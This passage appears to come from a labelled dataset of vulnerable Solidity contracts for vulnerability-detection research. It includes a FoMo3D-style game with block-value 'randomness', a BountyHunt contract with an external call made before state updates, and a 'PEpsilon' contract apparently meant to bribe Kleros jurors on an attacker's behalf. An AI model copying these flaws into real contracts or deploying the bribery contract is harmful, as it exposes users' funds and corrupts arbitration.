getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 37707.sol,"pragma solidity ^0.4.4; contract BountyHunt { mapping(address => uint) public bountyAmount; uint public totalBountyAmount; modifier preventTheft { _; if (this.balance < totalBountyAmount) throw; } function grantBounty(address beneficiary, uint amount) payable preventTheft { bountyAmount[beneficiary] += amount; totalBountyAmount += amount; } function claimBounty() preventTheft { uint balance = bountyAmount[msg.sender]; if (msg.sender.call.value(balance)()) { totalBountyAmount -= balance; bountyAmount[msg.sender] = 0; } } function transferBounty(address to, uint value) preventTheft { if (bountyAmount[msg.sender] >= value) { bountyAmount[to] += value; bountyAmount[msg.sender] -= value; } } }",./Dataset/unchecked external call (UC),7,7 1365.sol,"pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/Restricted.sol /** @title Restricted * Exposes onlyMonetha modifier */ contract Restricted is Ownable { //MonethaAddress set event event MonethaAddressSet( address _address, bool _isMonethaAddress ); mapping (address => bool) public isMonethaAddress; /** * Restrict methods in such way, that they can be invoked only by monethaAddress account. */ modifier onlyMonetha() { require(isMonethaAddress[msg.sender]); _; } /** * Allows owner to set new monetha address */ function setMonethaAddress(address _address, bool _isMonethaAddress) onlyOwner public { isMonethaAddress[_address] = _isMonethaAddress; MonethaAddressSet(_address, _isMonethaAddress); } } // File: contracts/SafeDestructible.sol /** * @title SafeDestructible * Base contract that can be destroyed by owner. * Can be destructed if there are no funds on contract balance. */ contract SafeDestructible is Ownable { function destroy() onlyOwner public { require(this.balance == 0); selfdestruct(owner); } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/ownership/Contactable.sol /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable{ string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. */ function setContactInformation(string info) onlyOwner public { contactInformation = info; } } // File: contracts/MerchantWallet.sol /** * @title MerchantWallet * Serves as a public Merchant profile with merchant profile info, * payment settings and latest reputation value. * Also MerchantWallet accepts payments for orders. */ contract MerchantWallet is Pausable, SafeDestructible, Contactable, Restricted { string constant VERSION = ""0.4""; /// Address of merchant's account, that can withdraw from wallet address public merchantAccount; /// Unique Merchant identifier hash bytes32 public merchantIdHash; /// profileMap stores general information about the merchant mapping (string=>string) profileMap; /// paymentSettingsMap stores payment and order settings for the merchant mapping (string=>string) paymentSettingsMap; /// compositeReputationMap stores composite reputation, that compraises from several metrics mapping (string=>uint32) compositeReputationMap; /// number of last digits in compositeReputation for fractional part uint8 public constant REPUTATION_DECIMALS = 4; /** * Restrict methods in such way, that they can be invoked only by merchant account. */ modifier onlyMerchant() { require(msg.sender == merchantAccount); _; } /** * Restrict methods in such way, that they can be invoked only by merchant account or by monethaAddress account. */ modifier onlyMerchantOrMonetha() { require(msg.sender == merchantAccount || isMonethaAddress[msg.sender]); _; } /** * @param _merchantAccount Address of merchant's account, that can withdraw from wallet * @param _merchantId Merchant identifier */ function MerchantWallet(address _merchantAccount, string _merchantId) public { require(_merchantAccount != 0x0); require(bytes(_merchantId).length > 0); merchantAccount = _merchantAccount; merchantIdHash = keccak256(_merchantId); } /** * Accept payment from MonethaGateway */ function () external payable { } /** * @return profile info by string key */ function profile(string key) external constant returns (string) { return profileMap[key]; } /** * @return payment setting by string key */ function paymentSettings(string key) external constant returns (string) { return paymentSettingsMap[key]; } /** * @return composite reputation value by string key */ function compositeReputation(string key) external constant returns (uint32) { return compositeReputationMap[key]; } /** * Set profile info by string key */ function setProfile( string profileKey, string profileValue, string repKey, uint32 repValue ) external onlyOwner { profileMap[profileKey] = profileValue; if (bytes(repKey).length != 0) { compositeReputationMap[repKey] = repValue; } } /** * Set payment setting by string key */ function setPaymentSettings(string key, string value) external onlyOwner { paymentSettingsMap[key] = value; } /** * Set composite reputation value by string key */ function setCompositeReputation(string key, uint32 value) external onlyMonetha { compositeReputationMap[key] = value; } /** * Allows withdrawal of funds to beneficiary address */ function doWithdrawal(address beneficiary, uint amount) private { require(beneficiary != 0x0); beneficiary.transfer(amount); } /** * Allows merchant to withdraw funds to beneficiary address */ function withdrawTo(address beneficiary, uint amount) public onlyMerchant whenNotPaused { doWithdrawal(beneficiary, amount); } /** * Allows merchant to withdraw funds to it's own account */ function withdraw(uint amount) external { withdrawTo(msg.sender, amount); } /** * Allows merchant or Monetha to initiate exchange of funds by withdrawing funds to deposit address of the exchange */ function withdrawToExchange(address depositAccount, uint amount) external onlyMerchantOrMonetha whenNotPaused { doWithdrawal(depositAccount, amount); } /** * Allows merchant or Monetha to initiate exchange of funds by withdrawing all funds to deposit address of the exchange */ function withdrawAllToExchange(address depositAccount, uint min_amount) external onlyMerchantOrMonetha whenNotPaused { require (address(this).balance >= min_amount); doWithdrawal(depositAccount, address(this).balance); } /** * Allows merchant to change it's account address */ function changeMerchantAccount(address newAccount) external onlyMerchant whenNotPaused { merchantAccount = newAccount; } }",./Dataset/ether strict equality (SE),3,3 415.sol," contract PEpsilon { Pinakion public pinakion; Kleros public court; uint public balance; uint public disputeID; uint public desiredOutcome; uint public epsilon; bool public settled; uint public maxAppeals; mapping (address => uint) public withdraw; address public attacker; uint public remainingWithdraw; modifier onlyBy(address _account) {require(msg.sender == _account); _;} event AmountShift(uint val, uint epsilon ,address juror); event Log(uint val, address addr, string message); constructor(Pinakion _pinakion, Kleros _kleros, uint _disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public { pinakion = _pinakion; court = _kleros; disputeID = _disputeID; desiredOutcome = _desiredOutcome; epsilon = _epsilon; attacker = msg.sender; maxAppeals = _maxAppeals; } function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { require(pinakion.transferFrom(_from, this, _amount)); balance += _amount; } function withdrawJuror() { withdrawSelect(msg.sender); } function withdrawSelect(address _juror) { uint amount = withdraw[_juror]; withdraw[_juror] = 0; balance = sub(balance, amount); remainingWithdraw = sub(remainingWithdraw, amount); require(pinakion.transfer(_juror, amount)); } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function withdrawAttacker(){ require(settled); if (balance > remainingWithdraw) { uint amount = balance - remainingWithdraw; balance = remainingWithdraw; require(pinakion.transfer(attacker, amount)); } } function settle() public { require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved); require(!settled); settled = true; var (, , appeals, choices, , , ,) = court.disputes(disputeID); if (court.currentRuling(disputeID) != desiredOutcome){ uint amountShift = court.getStakePerDraw(); uint winningChoice = court.getWinningChoice(disputeID, appeals); for (uint i=0; i <= (appeals > maxAppeals ? maxAppeals : appeals); i++){ if (winningChoice != 0){ uint votesLen = 0; for (uint c = 0; c <= choices; c++) { votesLen += court.getVoteCount(disputeID, i, c); } emit Log(amountShift, 0x0 ,""stakePerDraw""); emit Log(votesLen, 0x0, ""votesLen""); uint totalToRedistribute = 0; uint nbCoherent = 0; for (uint j=0; j < votesLen; j++){ uint voteRuling = court.getVoteRuling(disputeID, i, j); address voteAccount = court.getVoteAccount(disputeID, i, j); emit Log(voteRuling, voteAccount, ""voted""); if (voteRuling != winningChoice){ totalToRedistribute += amountShift; if (voteRuling == desiredOutcome){ withdraw[voteAccount] += amountShift + epsilon; remainingWithdraw += amountShift + epsilon; emit AmountShift(amountShift, epsilon, voteAccount); } } else { nbCoherent++; } } uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1); for (j = 0; j < votesLen; j++){ voteRuling = court.getVoteRuling(disputeID, i, j); voteAccount = court.getVoteAccount(disputeID, i, j); if (voteRuling == desiredOutcome){ withdraw[voteAccount] += toRedistribute; remainingWithdraw += toRedistribute; emit AmountShift(toRedistribute, 0, voteAccount); } } } } } } } pragma solidity ^0.4.24; contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } contract TokenController { function proxyPayment(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract Controlled { modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} function changeController(address _newController) public onlyController { controller = _newController; } } contract Pinakion is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.2'; struct Checkpoint { uint128 fromBlock; uint128 value; } Pinakion public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function Pinakion( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = Pinakion(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); require((_to != 0) && (_to != address(this))); var previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = 